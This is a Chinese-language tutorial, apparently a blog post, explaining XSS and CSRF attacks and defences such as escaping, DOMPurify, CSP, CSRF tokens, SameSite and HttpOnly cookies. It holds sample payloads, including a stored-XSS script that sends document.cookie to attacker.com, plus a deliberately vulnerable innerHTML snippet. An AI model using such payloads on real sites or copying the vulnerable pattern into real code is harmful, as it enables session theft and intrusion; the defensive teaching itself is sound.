xss和CSRF的攻击和防御

一、什么是跨站脚本攻击？

xss（跨站脚本攻击）是一种通过向网页端注入恶意脚本，在用户浏览器执行攻击代码的漏洞，会通过url参数、表单提交等，窃取用户的身份凭证（如cookie、session）和篡改页面内容（如插入虚假广告或链接）。

XSS攻击case：

用户输入渲染（评论、搜索、URL 参数）
第三方脚本（广告、统计、CDN）
富文本编辑器
Markdown 渲染
JSON 数据直接插入 HTML

xss防御：

用fonttextContent代替innerHTML
用户输入必须转义

对用户输入的信息必须转义，仅允许安全字符；转义特殊字符：< > & " ' %20等。

富文本用 DOMPurify 过滤
配置 CSP 头

通过HTTP头Content-Security-Policy限制脚本来源

json 复制代码

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;

二、xss的三种类型

1.反射性XSS

触发条件：恶意脚本通过URL参数传递，服务器未过
滤直接返回到页面
攻击场景：钓鱼邮件或链接诱导用户点击
举个栗子：

javascript 复制代码

https://www.baidu.com/search?query=<script>alert('我是XSS')</script>

诺

2.存储型XSS

触发条件：恶意脚本被永久存储到服务器（评论、数据库），用户访问时加载
攻击场景：富文本、输入框等用户生成内容
举个栗子：

javascript 复制代码

<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

其他用户查看评论时，cookie将被发送至攻击者服务器

3.DOM型XSS

触发条件：前端JavaScript动态操作DOM时，未过滤数据，导致恶意代码执行
攻击场景：单页面应用（SPA）或依赖前端路由的网站
举个栗子：

javascript 复制代码

// 漏洞代码：从URL中提取参数并直接插入页面
const name = new URL(location.href).searchParams.get('name');
document.getElementById('welcome').innerHTML = `Hello, ${name}!`;

三、CSRF

**跨站请求伪造攻击，**攻击者诱导用户进入一个第三方网站，然后该网站向被攻击网站发送跨站请求(和被攻击网站同源)。如果用户在被攻击网站中保存了登录状态，那么攻击者就可以利用这个登录状态，绕过后台的用户验证，冒充用户向服务器执行一些操作。

**本质：******利用 cookie 会在同源请求中携带发送给服务器的特点(服务器根据域名判断)，以此来实现用户的冒充。

常见攻击类型：

GET型：ex: 在网站中的一个 img 标签里构建一个请求，当用户打开这个网站的时候就会自动发起提交。
POST型：ex: 构建一个表单，然后隐藏它，当用户进入页面时，自动提交这个表单。
链接型：ex: 在 a 标签的 href 属性里构建一个请求，然后诱导用户去点击。

预防：

CSRF token验证：服务端返回一个随机token，客户端再次发送请求时需携带

设置cookie属性：可以设置samesite属性，有两种模式，严格模式下任何情况下不允许第三方使用；宽松模式下仅允许被实现页面跳转的get请求使用

四、xss和CSRF总结防御

以登录为例子，推荐使用纵深防御------HttpOnly Cookie + SameSite + CSP + 输入验证。需要前后端配合，登录接口使用Set-coolie返回，前端请求加 credentials: include，或者用 axios全局配置：

javascript 复制代码

axios.defaults.withCredentials = true;

设置 httpOnly: true 后 JavaScript 读不到，对于CSRF，加个 sameSite: lax 就能解决大部分场景。

这方案在开发成本上的性价比是很高的，而对于APP内置的WebView用HttpOnly Cookie可能有兼容问题，需要重新评估该方案。